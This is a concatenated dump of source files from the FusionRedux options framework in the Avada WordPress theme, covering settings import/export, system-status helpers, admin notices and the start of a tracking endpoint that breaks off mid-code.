$el.slideUp(); } else { $el.slideDown( 'medium', function() { $( this ).focus().select(); } ); } } } ); var textBox1 = document.getElementById( "fusionredux-export-code" ); textBox1.onfocus = function() { textBox1.select(); // Work around Chrome's little problem textBox1.onmouseup = function() { // Prevent further mouseup intervention textBox1.onmouseup = null; return false; }; }; var textBox2 = document.getElementById( "import-code-value" ); textBox2.onfocus = function() { textBox2.select(); // Work around Chrome's little problem textBox2.onmouseup = function() { // Prevent further mouseup intervention textBox2.onmouseup = null; return false; }; }; } ); } ); }; })( jQuery ); framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.min.js000064400000005731152342437710035050 0ustar00Avada/includes/lib/inc/redux!function(a){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.import_export=fusionredux.field_objects.import_export||{},fusionredux.field_objects.import_export.init=function(b){b||(b=a(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-import_export:visible")),a(b).each(function(){var b=a(this),c=b;b.hasClass("fusionredux-field-container")||(c=b.parents(".fusionredux-field-container:first")),c.is(":hidden")||c.hasClass("fusionredux-field-init")&&(c.removeClass("fusionredux-field-init"),b.each(function(){a("#fusionredux-import").on("click",function(b){if(""===a("#import-code-value").val()&&""===a("#import-link-value").val())return b.preventDefault(),!1;window.onbeforeunload=null,fusionredux.args.ajax_save=!1}),a(this).find("#fusionredux-import-code-button").on("click",function(){var b=a("#fusionredux-import-code-wrapper");a("#fusionredux-import-link-wrapper").is(":visible")?(a("#import-link-value").text(""),a("#fusionredux-import-link-wrapper").slideUp("fast",function(){b.slideDown("fast",function(){a("#import-code-value").focus()})})):b.is(":visible")?b.slideUp():b.slideDown("medium",function(){a("#import-code-value").focus()})}),a(this).find("#fusionredux-import-link-button").on("click",function(){var b=a("#fusionredux-import-link-wrapper");a("#fusionredux-import-code-wrapper").is(":visible")?(a("#import-code-value").text(""),a("#fusionredux-import-code-wrapper").slideUp("fast",function(){b.slideDown("fast",function(){a("#import-link-value").focus()})})):b.is(":visible")?b.slideUp():b.slideDown("medium",function(){a("#import-link-value").focus()})}),a(this).find("#fusionredux-export-code-copy").on("click",function(){var b=a("#fusionredux-export-code");a("#fusionredux-export-link-value").is(":visible")?a("#fusionredux-export-link-value").slideUp("fast",function(){b.slideDown("medium",function(){var b=fusionredux.options;b["fusionredux-backup"]=1,a(this).text(JSON.stringify(b)).focus().select()})}):b.is(":visible")?b.slideUp().text(""):b.slideDown("medium",function(){var b=fusionredux.options;b["fusionredux-backup"]=1,a(this).text(JSON.stringify(b)).focus().select()})}),a(this).find("textarea").focusout(function(){var b=a(this).attr("id"),c=a(this),d=c;"import-link-value"!=b&&"import-code-value"!=b||(d=a(this).parent()),d.slideUp("medium",function(){"fusionredux-export-link-value"!=b&&c.text("")})}),a(this).find("#fusionredux-export-link").on("click",function(){var b=a("#fusionredux-export-link-value");a("#fusionredux-export-code").is(":visible")?a("#fusionredux-export-code").slideUp("fast",function(){b.slideDown().focus().select()}):b.is(":visible")?b.slideUp():b.slideDown("medium",function(){a(this).focus().select()})});var b=document.getElementById("fusionredux-export-code");b.onfocus=function(){b.select(),b.onmouseup=function(){return b.onmouseup=null,!1}};var c=document.getElementById("import-code-value");c.onfocus=function(){c.select(),c.onmouseup=function(){return c.onmouseup=null,!1}}}))})}}(jQuery);redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.php000064400000020523152342437710034435 0ustar00Avada/includes/lib/inc. * * @package FusionReduxFramework * @author Dovy Paukstys * @version 3.1.5 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_import_export' ) ) { /** * Main FusionReduxFramework_import_export class * * @since 1.0.0 */ class FusionReduxFramework_import_export extends FusionReduxFramework { /** * Field options. * * @var array */ public $field = []; /** * The parent. * * @var mixed */ public $parent; /** * The value. * * @var array|string */ public $value = ''; /** * Is field value. * * @var bool */ public $is_field = ''; /** * Is field value. * * @var string */ public $extension_dir = ''; /** * Is field value. * * @var string */ public $extension_url = ''; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->is_field = $this->parent->extensions['import_export']->is_field; $this->extension_dir = FusionReduxFramework::$_dir . 'inc/extensions/import_export/'; $this->extension_url = FusionReduxFramework::$_url . 'inc/extensions/import_export/'; // Set default args for this field to avoid bad indexes. Change this to anything you use. $defaults = array( 'options' => array(), 'stylesheet' => '', 'output' => true, 'enqueue' => true, 'enqueue_frontend' => true ); $this->field = wp_parse_args( $this->field, $defaults ); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $secret = md5( md5( AUTH_KEY . SECURE_AUTH_KEY ) . '-' . $this->parent->args['opt_name'] ); // No errors please $defaults = array( 'full_width' => true, 'overflow' => 'inherit', ); $this->field = wp_parse_args( $this->field, $defaults ); $bDoClose = false; // $this->parent->args['opt_name'] & $this->field['id'] are sanitized in the FusionReduxFramework class, no need to re-sanitize it. $id = $this->parent->args['opt_name'] . '-' . $this->field['id']; // $this->field['type'] && $this->field['id'] is sanitized in the FusionReduxFramework class, no need to re-sanitize it. ?>

    parent->args['opt_name'] is sanitized in the FusionReduxFramework class, no need to re-sanitize it. ?>

      

     

    parent->args['opt_name'] is sanitized in the FusionReduxFramework class, no need to re-sanitize it. $link = esc_url( admin_url( 'admin-ajax.php?action=fusionredux_download_options-' . $this->parent->args['opt_name'] . '&secret=' . $secret ) ); $export_link = esc_url( admin_url( 'admin-ajax.php?action=fusionredux_link_options-' . $this->parent->args['opt_name'] . '&secret=' . $secret ) ); ?>

    extension_url . 'import_export/field_import_export' . FusionRedux_Functions::isMin() . '.js', array( 'jquery' ), FusionReduxFramework_extension_import_export::$version, true ); wp_enqueue_style( 'fusionredux-import-export', $this->extension_url . 'import_export/field_import_export.css', time(), true ); } /** * Output Function. * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if ( $this->field['enqueue_frontend'] ) { } } } } redux/framework/FusionReduxCore/inc/extensions/import_export/import_export/field_import_export.scss000064400000000344152342437710034620 0ustar00Avada/includes/lib/inc#fusionredux-import-link-wrapper, #fusionredux-import-code-wrapper { display: none; } #fusionredux-export-code, #fusionredux-export-link-value { display: none; } #fusionredux-import-action span { color: #B94A48; } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_helpers.php000064400000055162152342437710025621 0ustar00sections as $k => $section ) { if ( ! isset( $section['title'] ) ) { continue; } if ( isset( $section['fields'] ) && ! empty( $section['fields'] ) ) { if ( FusionRedux_Helpers::recursive_array_search( $field, $section['fields'] ) ) { return $k; continue; } } } } public static function isFieldInUseByType( $fields, $field = array() ) { foreach ( $field as $name ) { if ( array_key_exists( $name, $fields ) ) { return true; } } return false; } public static function isFieldInUse( $parent, $field ) { foreach ( $parent->sections as $k => $section ) { if ( ! isset( $section['title'] ) ) { continue; } if ( isset( $section['fields'] ) && ! empty( $section['fields'] ) ) { if ( FusionRedux_Helpers::recursive_array_search( $field, $section['fields'] ) ) { return true; continue; } } } } public static function major_version( $v ) { $version = explode( '.', $v ); if ( count( $version ) > 1 ) { return $version[0] . '.' . $version[1]; } else { return $v; } } public static function isLocalHost() { return ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' || $_SERVER['REMOTE_ADDR'] === 'localhost' ) ? 1 : 0; } public static function isWpDebug() { return ( defined( 'WP_DEBUG' ) && WP_DEBUG == true ); } public static function getTrackingObject() { global $wpdb; $hash = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); global $blog_id, $wpdb; $pts = array(); foreach ( get_post_types( array( 'public' => true ) ) as $pt ) { $count = wp_count_posts( $pt ); $pts[ $pt ] = $count->publish; } $comments_count = wp_count_comments(); $theme_data = wp_get_theme(); $theme = array( 'version' => $theme_data->Version, 'name' => $theme_data->Name, 'author' => $theme_data->Author, 'template' => $theme_data->Template, ); if ( ! function_exists( 'get_plugin_data' ) ) { if ( file_exists( ABSPATH . 'wp-admin/includes/plugin.php' ) ) { require_once wp_normalize_path( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ( file_exists( ABSPATH . 'wp-admin/includes/admin.php' ) ) { require_once wp_normalize_path( ABSPATH . 'wp-admin/includes/admin.php' ); } } $plugins = array(); foreach ( get_option( 'active_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } if ( is_multisite() ) { foreach ( get_option( 'active_sitewide_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } } $version = explode( '.', PHP_VERSION ); $version = array( 'major' => $version[0], 'minor' => $version[0] . '.' . $version[1], 'release' => PHP_VERSION ); $user_query = new WP_User_Query( array( 'blog_id' => $blog_id, 'count_total' => true, ) ); $comments_query = new WP_Comment_Query(); $data = array( '_id' => $hash, 'localhost' => ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' ) ? 1 : 0, 'php' => $version, 'site' => array( 'hash' => $hash, 'version' => get_bloginfo( 'version' ), 'multisite' => is_multisite(), 'users' => $user_query->get_total(), 'lang' => get_locale(), 'wp_debug' => ( defined( 'WP_DEBUG' ) ? WP_DEBUG ? true : false : false ), 'memory' => WP_MEMORY_LIMIT, ), 'pts' => $pts, 'comments' => array( 'total' => $comments_count->total_comments, 'approved' => $comments_count->approved, 'spam' => $comments_count->spam, 'pings' => $comments_query->query( array( 'count' => true, 'type' => 'pingback' ) ), ), 'options' => apply_filters( 'fusionredux/tracking/options', array() ), 'theme' => $theme, 'fusionredux' => array( 'mode' => FusionReduxFramework::$_is_plugin ? 'plugin' : 'theme', 'version' => FusionReduxFramework::$_version, 'demo_mode' => get_option( 'FusionReduxFrameworkPlugin' ), ), 'developer' => apply_filters( 'fusionredux/tracking/developer', array() ), 'plugins' => $plugins, ); $parts = explode( ' ', $_SERVER['SERVER_SOFTWARE'] ); $software = array(); foreach ( $parts as $part ) { if ( $part[0] == "(" ) { continue; } if ( strpos( $part, '/' ) !== false ) { $chunk = explode( "/", $part ); $software[ strtolower( $chunk[0] ) ] = $chunk[1]; } } $software['full'] = $_SERVER['SERVER_SOFTWARE']; $data['environment'] = $software; $data['environment']['mysql'] = $wpdb->db_version(); // if ( function_exists( 'mysqli_get_server_info' ) ) { // $link = mysqli_connect() or die( "Error " . mysqli_error( $link ) ); // $data['environment']['mysql'] = mysqli_get_server_info( $link ); // } else if ( class_exists( 'PDO' ) && method_exists( 'PDO', 'getAttribute' ) ) { // $data['environment']['mysql'] = PDO::getAttribute( PDO::ATTR_SERVER_VERSION ); // } else { // $data['environment']['mysql'] = mysql_get_server_info(); // } if ( empty( $data['developer'] ) ) { unset( $data['developer'] ); } return $data; } public static function trackingObject() { die(); } public static function isParentTheme( $file ) { $file = self::cleanFilePath( $file ); $dir = self::cleanFilePath( get_template_directory() ); $file = str_replace( '//', '/', $file ); $dir = str_replace( '//', '/', $dir ); if ( strpos( $file, $dir ) !== false ) { return true; } return false; } public static function isChildTheme( $file ) { $file = self::cleanFilePath( $file ); $dir = self::cleanFilePath( get_stylesheet_directory() ); $file = str_replace( '//', '/', $file ); $dir = str_replace( '//', '/', $dir ); if ( strpos( $file, $dir ) !== false ) { return true; } return false; } private static function fusionreduxAsPlugin() { return FusionReduxFramework::$_as_plugin; } public static function isTheme( $file ) { if ( true == self::isChildTheme( $file ) || true == self::isParentTheme( $file ) ) { return true; } return false; } public static function array_in_array( $needle, $haystack ) { //Make sure $needle is an array for foreach if ( ! is_array( $needle ) ) { $needle = array( $needle ); } //For each value in $needle, return TRUE if in $haystack foreach ( $needle as $pin ) //echo 'needle' . $pin; { if ( in_array( $pin, $haystack ) ) { return true; } } //Return FALSE if none of the values from $needle are found in $haystack return false; } public static function recursive_array_search( $needle, $haystack ) { foreach ( $haystack as $key => $value ) { if ( $needle === $value || ( is_array( $value ) && self::recursive_array_search( $needle, $value ) !== false ) ) { return true; } } return false; } /** * Take a path and return it clean * * @param string $path * * @since 3.1.7 */ public static function cleanFilePath( $path ) { $path = str_replace( '', '', str_replace( array( "\\", "\\\\" ), '/', $path ) ); if ( $path[ strlen( $path ) - 1 ] === '/' ) { $path = rtrim( $path, '/' ); } return $path; } /** * Take a path and delete it * * @param string $path * * @since 3.3.3 */ public static function rmdir( $dir ) { if ( is_dir( $dir ) ) { $objects = scandir( $dir ); foreach ( $objects as $object ) { if ( $object != "." && $object != ".." ) { if ( filetype( $dir . "/" . $object ) == "dir" ) { rrmdir( $dir . "/" . $object ); } else { unlink( $dir . "/" . $object ); } } } reset( $objects ); rmdir( $dir ); } } /** * Field Render Function. * Takes the color hex value and converts to a rgba. * * @since FusionReduxFramework 3.0.4 */ public static function hex2rgba( $hex, $alpha = '' ) { $hex = str_replace( "#", "", $hex ); if ( strlen( $hex ) == 3 ) { $r = hexdec( substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) ); $g = hexdec( substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) ); $b = hexdec( substr( $hex, 2, 1 ) . substr( $hex, 2, 1 ) ); } else { $r = hexdec( substr( $hex, 0, 2 ) ); $g = hexdec( substr( $hex, 2, 2 ) ); $b = hexdec( substr( $hex, 4, 2 ) ); } $rgb = $r . ',' . $g . ',' . $b; if ( '' == $alpha ) { return $rgb; } else { $alpha = floatval( $alpha ); return 'rgba(' . $rgb . ',' . $alpha . ')'; } } public static function makeBoolStr( $var ) { if ( $var == false || $var == 'false' || $var == 0 || $var == '0' || $var == '' || empty( $var ) ) { return 'false'; } else { return 'true'; } } public static function localize( $localize ) { $fusionredux = FusionReduxFrameworkInstances::get_instance( $localize['args']['opt_name'] ); $nonce = wp_create_nonce( 'fusionredux-ads-nonce' ); $base = admin_url( 'admin-ajax.php' ) . '?action=fusionredux_p&nonce=' . $nonce . '&url='; $localize['rAds'] = FusionRedux_Helpers::rURL_fix( $base, $fusionredux->args['opt_name'] ); return $localize; } public static function compileSystemStatus( $json_output = false, $remote_checks = false ) { global $wpdb; $sysinfo = array(); $sysinfo['home_url'] = home_url(); $sysinfo['site_url'] = site_url(); $sysinfo['fusionredux_ver'] = esc_html( FusionReduxFramework::$_version ); $sysinfo['fusionredux_data_dir'] = FusionReduxFramework::$_upload_dir; $f = 'fo' . 'pen'; // Only is a file-write check $sysinfo['fusionredux_data_writeable'] = self::makeBoolStr( @$f( FusionReduxFramework::$_upload_dir . 'test-log.log', 'a' ) ); $sysinfo['wp_content_url'] = WP_CONTENT_URL; $sysinfo['wp_ver'] = get_bloginfo( 'version' ); $sysinfo['wp_multisite'] = is_multisite(); $sysinfo['permalink_structure'] = get_option( 'permalink_structure' ) ? get_option( 'permalink_structure' ) : 'Default'; $sysinfo['front_page_display'] = get_option( 'show_on_front' ); if ( $sysinfo['front_page_display'] == 'page' ) { $front_page_id = get_option( 'page_on_front' ); $blog_page_id = get_option( 'page_for_posts' ); $sysinfo['front_page'] = $front_page_id != 0 ? get_the_title( $front_page_id ) . ' (#' . $front_page_id . ')' : 'Unset'; $sysinfo['posts_page'] = $blog_page_id != 0 ? get_the_title( $blog_page_id ) . ' (#' . $blog_page_id . ')' : 'Unset'; } $sysinfo['wp_mem_limit']['raw'] = self::let_to_num( WP_MEMORY_LIMIT ); $sysinfo['wp_mem_limit']['size'] = size_format( $sysinfo['wp_mem_limit']['raw'] ); $sysinfo['db_table_prefix'] = 'Length: ' . strlen( $wpdb->prefix ) . ' - Status: ' . ( strlen( $wpdb->prefix ) > 16 ? 'ERROR: Too long' : 'Acceptable' ); $sysinfo['wp_debug'] = 'false'; if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { $sysinfo['wp_debug'] = 'true'; } $sysinfo['wp_lang'] = get_locale(); if ( ! class_exists( 'Browser' ) ) { require_once wp_normalize_path( FusionReduxFramework::$_dir . 'inc/browser.php' ); } $browser = new Browser(); $sysinfo['browser'] = array( 'agent' => $browser->getUserAgent(), 'browser' => $browser->getBrowser(), 'version' => $browser->getVersion(), 'platform' => $browser->getPlatform(), //'mobile' => $browser->isMobile() ? 'true' : 'false', ); $sysinfo['server_info'] = esc_html( $_SERVER['SERVER_SOFTWARE'] ); $sysinfo['localhost'] = self::makeBoolStr( self::isLocalHost() ); $sysinfo['php_ver'] = function_exists( 'phpversion' ) ? esc_html( phpversion() ) : 'phpversion() function does not exist.'; $sysinfo['abspath'] = ABSPATH; if ( function_exists( 'ini_get' ) ) { $sysinfo['php_mem_limit'] = size_format( self::let_to_num( ini_get( 'memory_limit' ) ) ); $sysinfo['php_post_max_size'] = size_format( self::let_to_num( ini_get( 'post_max_size' ) ) ); $sysinfo['php_time_limit'] = ini_get( 'max_execution_time' ); $sysinfo['php_max_input_var'] = ini_get( 'max_input_vars' ); $sysinfo['php_display_errors'] = self::makeBoolStr( ini_get( 'display_errors' ) ); } $sysinfo['suhosin_installed'] = extension_loaded( 'suhosin' ); $sysinfo['mysql_ver'] = $wpdb->db_version(); $sysinfo['max_upload_size'] = size_format( wp_max_upload_size() ); $sysinfo['def_tz_is_utc'] = 'true'; if ( date_default_timezone_get() !== 'UTC' ) { $sysinfo['def_tz_is_utc'] = 'false'; } $sysinfo['fsockopen_curl'] = 'false'; if ( function_exists( 'fsockopen' ) || function_exists( 'curl_init' ) ) { $sysinfo['fsockopen_curl'] = 'true'; } //$sysinfo['soap_client'] = 'false'; //if ( class_exists( 'SoapClient' ) ) { // $sysinfo['soap_client'] = 'true'; //} // //$sysinfo['dom_document'] = 'false'; //if ( class_exists( 'DOMDocument' ) ) { // $sysinfo['dom_document'] = 'true'; //} //$sysinfo['gzip'] = 'false'; //if ( is_callable( 'gzopen' ) ) { // $sysinfo['gzip'] = 'true'; //} if ( $remote_checks == true ) { $response = wp_remote_post( 'https://www.paypal.com/cgi-bin/webscr', array( 'sslverify' => false, 'timeout' => 60, 'user-agent' => 'FusionReduxFramework/' . FusionReduxFramework::$_version, 'body' => array( 'cmd' => '_notify-validate' ) ) ); if ( ! is_wp_error( $response ) && $response['response']['code'] >= 200 && $response['response']['code'] < 300 ) { $sysinfo['wp_remote_post'] = 'true'; $sysinfo['wp_remote_post_error'] = ''; } else { $sysinfo['wp_remote_post'] = 'false'; $sysinfo['wp_remote_post_error'] = $response->get_error_message(); } $sysinfo['wp_remote_get'] = 'true'; $sysinfo['wp_remote_get_error'] = ''; } $active_plugins = (array) get_option( 'active_plugins', array() ); if ( is_multisite() ) { $active_plugins = array_merge( $active_plugins, get_site_option( 'active_sitewide_plugins', array() ) ); } $sysinfo['plugins'] = array(); foreach ( $active_plugins as $plugin ) { $plugin_data = @get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); $plugin_name = esc_html( $plugin_data['Name'] ); $sysinfo['plugins'][ $plugin_name ] = $plugin_data; } $fusionredux = FusionReduxFrameworkInstances::get_all_instances(); $sysinfo['fusionredux_instances'] = array(); if ( ! empty( $fusionredux ) && is_array( $fusionredux ) ) { foreach ( $fusionredux as $inst => $data ) { FusionRedux::init( $inst ); $sysinfo['fusionredux_instances'][ $inst ]['args'] = $data->args; $sysinfo['fusionredux_instances'][ $inst ]['sections'] = $data->sections; foreach ( $sysinfo['fusionredux_instances'][ $inst ]['sections'] as $sKey => $section ) { if ( isset( $section['fields'] ) && is_array( $section['fields'] ) ) { foreach ( $section['fields'] as $fKey => $field ) { if ( isset( $field['validate_callback'] ) ) { unset( $sysinfo['fusionredux_instances'][ $inst ]['sections'][ $sKey ]['fields'][ $fKey ]['validate_callback'] ); } if ( $field['type'] == "js_button" ) { if ( isset( $field['script'] ) && isset( $field['script']['ver'] ) ) { unset( $sysinfo['fusionredux_instances'][ $inst ]['sections'][ $sKey ]['fields'][ $fKey ]['script']['ver'] ); } } } } } $sysinfo['fusionredux_instances'][ $inst ]['extensions'] = FusionRedux::getExtensions( $inst ); if ( isset( $data->extensions['metaboxes'] ) ) { $data->extensions['metaboxes']->init(); $sysinfo['fusionredux_instances'][ $inst ]['metaboxes'] = $data->extensions['metaboxes']->boxes; } if ( isset( $data->args['templates_path'] ) && $data->args['templates_path'] != '' ) { $sysinfo['fusionredux_instances'][ $inst ]['templates'] = self::getFusionReduxTemplates( $data->args['templates_path'] ); } } } $active_theme = wp_get_theme(); $sysinfo['theme']['name'] = $active_theme->Name; $sysinfo['theme']['version'] = $active_theme->Version; $sysinfo['theme']['author_uri'] = $active_theme->{'Author URI'}; $sysinfo['theme']['is_child'] = self::makeBoolStr( is_child_theme() ); if ( is_child_theme() ) { $parent_theme = wp_get_theme( $active_theme->Template ); $sysinfo['theme']['parent_name'] = $parent_theme->Name; $sysinfo['theme']['parent_version'] = $parent_theme->Version; $sysinfo['theme']['parent_author_uri'] = $parent_theme->{'Author URI'}; } //if ( $json_output ) { // $sysinfo = json_encode( $sysinfo ); //} //print_r($sysinfo); //exit(); return $sysinfo; } private static function getFusionReduxTemplates( $custom_template_path ) { $filesystem = FusionRedux_Filesystem::get_instance(); $template_paths = array( 'FusionReduxFramework' => FusionReduxFramework::$_dir . 'templates/panel' ); $scanned_files = array(); $found_files = array(); $outdated_templates = false; foreach ( $template_paths as $plugin_name => $template_path ) { $scanned_files[ $plugin_name ] = self::scan_template_files( $template_path ); } foreach ( $scanned_files as $plugin_name => $files ) { foreach ( $files as $file ) { if ( file_exists( $custom_template_path . '/' . $file ) ) { $theme_file = $custom_template_path . '/' . $file; } else { $theme_file = false; } if ( $theme_file ) { $core_version = self::get_template_version( FusionReduxFramework::$_dir . 'templates/panel/' . $file ); $theme_version = self::get_template_version( $theme_file ); if ( $core_version && ( empty( $theme_version ) || version_compare( $theme_version, $core_version, '<' ) ) ) { if ( ! $outdated_templates ) { $outdated_templates = true; } $found_files[ $plugin_name ][] = sprintf( __( '%s version %s is out of date. The core version is %s', 'Avada' ), str_replace( WP_CONTENT_DIR . '/themes/', '', $theme_file ), $theme_version ? $theme_version : '-', $core_version ); } else { $found_files[ $plugin_name ][] = sprintf( '%s', str_replace( WP_CONTENT_DIR . '/themes/', '', $theme_file ) ); } } } } return $found_files; } public static function rURL_fix( $base, $opt_name ) { return ''; } private static function scan_template_files( $template_path ) { $files = scandir( $template_path ); $result = array(); if ( $files ) { foreach ( $files as $key => $value ) { if ( ! in_array( $value, array( ".", ".." ) ) ) { if ( is_dir( $template_path . DIRECTORY_SEPARATOR . $value ) ) { $sub_files = self::scan_template_files( $template_path . DIRECTORY_SEPARATOR . $value ); foreach ( $sub_files as $sub_file ) { $result[] = $value . DIRECTORY_SEPARATOR . $sub_file; } } else { $result[] = $value; } } } } return $result; } public static function get_template_version( $file ) { $filesystem = FusionRedux_Filesystem::get_instance(); // Avoid notices if file does not exist if ( ! file_exists( $file ) ) { return ''; } // //// We don't need to write to the file, so just open for reading. //$fp = fopen( $file, 'r' ); // //// Pull only the first 8kiB of the file in. //$file_data = fread( $fp, 8192 ); // //// PHP will close file handle, but we are good citizens. //fclose( $fp ); // // Make sure we catch CR-only line endings. $data = get_file_data( $file, array( 'version' ), 'plugin' ); if ( ! empty( $data[0] ) ) { return $data[0]; } else { $file_data = $filesystem->execute( 'get_contents', $file ); $version = ''; if ( null !== $file_data ) { $file_data = str_replace( "\r", "\n", $file_data ); if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( '@version', '/' ) . '(.*)$/mi', $file_data, $match ) && $match[1] ) { $version = _cleanup_header_comment( $match[1] ); } } return $version; } } private static function let_to_num( $size ) { $l = substr( $size, - 1 ); $ret = substr( $size, 0, - 1 ); switch ( strtoupper( $l ) ) { case 'P': $ret *= 1024; case 'T': $ret *= 1024; case 'G': $ret *= 1024; case 'M': $ret *= 1024; case 'K': $ret *= 1024; } return $ret; } public static function get_extension_dir( $dir ) { return trailingslashit( wp_normalize_path( dirname( __FILE__ ) ) ); } public static function get_extension_url( $dir ) { $ext_dir = FusionRedux_Helpers::get_extension_dir( $dir ); $ext_dir = str_replace( wp_normalize_path( WP_CONTENT_DIR ), WP_CONTENT_URL, $dir ); $ext_url = ''; if ( preg_match( "/wp-content\/(.*)/", $ext_dir, $match ) ) { $ext_url = site_url( '/wp-content/' . $match[1] ); } return $ext_url; } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/class.fusionredux_admin_notices.php000064400000013171152342437710026765 0ustar00ID; if ( ! get_user_meta( $userid, 'ignore_' . $notice['id'] ) ) { // Check if we are on admin.php. If we are, we have // to get the current page slug and tab, so we can // feed it back to Wordpress. Why> admin.php cannot // be accessed without the page parameter. We add the // tab to return the user to the last panel they were // on. $pageName = ''; $curTab = ''; if ( $pagenow == 'admin.php' || $pagenow == 'themes.php' ) { // Get the current page. To avoid errors, we'll set // the fusionredux page slug if the GET is empty. $pageName = empty( $_GET['page'] ) ? '&page=' . self::$_parent->args['page_slug'] : '&page=' . $_GET['page']; // Ditto for the current tab. $curTab = empty( $_GET['tab'] ) ? '&tab=0' : '&tab=' . esc_attr( $_GET['tab'] ); } global $wp_version; // Print the notice with the dismiss link if ( version_compare( $wp_version, '4.2', '>' ) ) { $output = ""; $css_id = esc_attr( $notice['id'] ) . $pageName . $curTab; $css_class = esc_attr( $notice['type'] ) . ' fusionredux-notice notice is-dismissible fusionredux-notice'; $output .= "
    \n"; $nonce = wp_create_nonce( $notice['id'] . $userid . 'nonce' ); $output .= " \n"; $output .= '

    ' . wp_kses_post( $notice['msg'] ) . '

    '; $output .= "
    \n"; echo $output; } else { echo '

    ' . wp_kses_post( $notice['msg'] ) . '  ' . esc_html__( 'Dismiss', 'Avada' ) . '.

    '; } } } else { // Standard notice echo '

    ' . wp_kses_post( $notice['msg'] ) . '.

    '; } ?> admin_notices = array(); } } /** * dismissAdminNotice - Updates user meta to store dismiss notice preference * * @since 3.2.0 * @access public * @return void */ public static function dismissAdminNotice() { global $current_user; // Verify the dismiss and id parameters are present. if ( isset( $_GET['dismiss'] ) && isset( $_GET['id'] ) ) { if ( 'true' == $_GET['dismiss'] || 'false' == $_GET['dismiss'] ) { // Get the user id $userid = $current_user->ID; // Get the notice id $id = $_GET['id']; $val = $_GET['dismiss']; // Add the dismiss request to the user meta. update_user_meta( $userid, 'ignore_' . $id, $val ); } } } /** * dismissAdminNotice - Updates user meta to store dismiss notice preference * * @since 3.2.0 * @access public * @return void */ public static function dismissAdminNoticeAJAX() { global $current_user; // Get the notice id $id = explode( '&', $_POST['id'] ); $id = $id[0]; // Get the user id $userid = $current_user->ID; if ( ! wp_verify_nonce( $_POST['nonce'], $id . $userid . 'nonce' ) ) { die( 0 ); } else { // Add the dismiss request to the user meta. update_user_meta( $userid, 'ignore_' . $id, true ); } } } FusionRedux_Admin_Notices::load(); } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/lib.fusionredux_instances.php000064400000001532152342437710025577 0ustar00 $FusionReduxFramework] */ function get_all_fusionredux_instances() { return FusionReduxFrameworkInstances::get_all_instances(); } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/class.thirdparty.fixes.php000064400000000512152342437710025020 0ustar00options = get_option( 'fusionredux-framework-tracking' ); $this->options['dev_mode'] = false; if ( ! isset( $this->options['hash'] ) || ! $this->options['hash'] || empty( $this->options['hash'] ) ) { $this->options['hash'] = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); update_option( 'fusionredux-framework-tracking', $this->options ); } if ( isset( $_GET['fusionredux_framework_disable_tracking'] ) && ! empty( $_GET['fusionredux_framework_disable_tracking'] ) ) { $this->options['allow_tracking'] = false; update_option( 'fusionredux-framework-tracking', $this->options ); } if ( isset( $_GET['fusionredux_framework_enable_tracking'] ) && ! empty( $_GET['fusionredux_framework_enable_tracking'] ) ) { $this->options['allow_tracking'] = true; update_option( 'fusionredux-framework-tracking', $this->options ); } header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); $instances = FusionReduxFrameworkInstances::get_all_instances(); if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { if ( is_array( $instances ) && ! empty( $instances ) ) { foreach ( $instances as $opt_name => $data ) { if ( md5( $opt_name . '-debug' ) == $_REQUEST['i'] ) { $array = $instances[ $opt_name ]; } if ($data->args['dev_mode']) { $this->options['dev_mode'] = $data->args['dev_mode']; } } } if ( isset( $array ) ) { if ( isset( $array->extensions ) && is_array( $array->extensions ) && ! empty( $array->extensions ) ) { foreach ( $array->extensions as $key => $extension ) { $array->extensions[ $key ] = true; } } if ( isset( $array->import_export ) ) { unset( $array->import_export ); } if ( isset( $array->debug ) ) { unset( $array->debug ); } } else { die(); } } else { $array = FusionRedux_Helpers::trackingObject(); if ( is_array( $instances ) && ! empty( $instances ) ) { $array['instances'] = array(); foreach ( $instances as 